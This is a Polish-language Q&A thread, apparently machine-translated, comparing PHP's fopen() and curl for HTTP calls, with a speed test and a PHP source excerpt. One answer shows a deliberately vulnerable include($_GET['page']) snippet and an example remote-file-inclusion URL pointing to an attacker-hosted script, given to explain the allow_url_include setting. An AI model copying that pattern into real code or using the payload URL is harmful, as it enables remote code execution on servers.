2009-03-11 22 views
5

Piszę kod, który będzie wymagał rozmowy z usługą internetową za pośrednictwem HTTP (s). W przeszłości używałem biblioteki curl. Ostatnio zauważyłem, że mogę po prostu użyć fopen(), aby uzyskać dostęp do zdalnego adresu URL i wydaje się to znacznie prostsze.

Curl wydaje się być dużo bardziej konfigurowalny, ma mnóstwo opcji. Poza tą konfigurowalnością, czy ma znaczenie jaką metodę stosuje się? Jeśli tak, to co jest lepsze i dlaczego?

Odpowiedz

13

fopen() otworzy tylko zdalne adresy URL, jeśli allow_fopen_url jest włączone w php.ini.

Jednak w wersjach wcześniejszych niż 5.2.0 było to wyjątkowo niebezpieczne, ponieważ funkcja include pobierałaby również i parsuje kod PHP ze zdalnych stron. Naiwny koder może być łatwo złapać z kodem jak:

<?php 
    $page = $_GET['page']; 
    include($page); 
?> 

w którym momencie atakujący po prostu musi poprosić o http://example.com/script.php?page=http://example.net/my_exploit_script wykonanie własnego kodu w systemie i wprowadzenie exploita. Niestety domyślną wartością dla allow_fopen_url jest "włączony".

szczęście, gdyż 5.2.0 istnieje osobne ustawienia (co powinny domyślnie „off”) o nazwie allow_url_include który zapobiega include pobieranie kodu zdalnego.

Osobiście, jeśli masz możliwość użycia Curl, użyj tego zamiast fopen.

+0

Dobra odpowiedź indepth +1 – alex

15

Jak powiedział Alnitak, używanie CURL nie zależy od ustawień PHP. Zrobiłem kilka testów prędkości

file_get_contents 

z moim

function file_get_contents_curl($url) { 
    $ch = curl_init(); 

    curl_setopt($ch, CURLOPT_HEADER, 0); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_URL, $url); 

    $data = curl_exec($ch); 
    curl_close($ch); 

    return $data; 
} 

Wynik:

0.263456821442 
0.0626730918884 

CURL jest 4 razy szybciej :)

+0

Dzięki za testów prędkości. Dobra odpowiedź +1 – alex

+0

Właśnie tego szukałem. +1 – Domenic

5

dygresja: PHP może być skonfigurowane do używania curl dla http url_wrapper zamiast używania "własnej" implementacji.

ext/curl/interface.c:

#ifdef PHP_CURL_URL_WRAPPERS 
# if HAVE_CURL_VERSION_INFO 
    { 
     curl_version_info_data *info = curl_version_info(CURLVERSION_NOW); 
     char **p = (char **)info->protocols; 

     while (*p != NULL) { 
      php_register_url_stream_wrapper(*p++, &php_curl_wrapper TSRMLS_CC); 
     } 
    } 
# else 
    php_register_url_stream_wrapper("http", &php_curl_wrapper TSRMLS_CC); 
    php_register_url_stream_wrapper("https", &php_curl_wrapper TSRMLS_CC); 
    php_register_url_stream_wrapper("ftp", &php_curl_wrapper TSRMLS_CC); 
    php_register_url_stream_wrapper("ldap", &php_curl_wrapper TSRMLS_CC); 
# endif 
#endif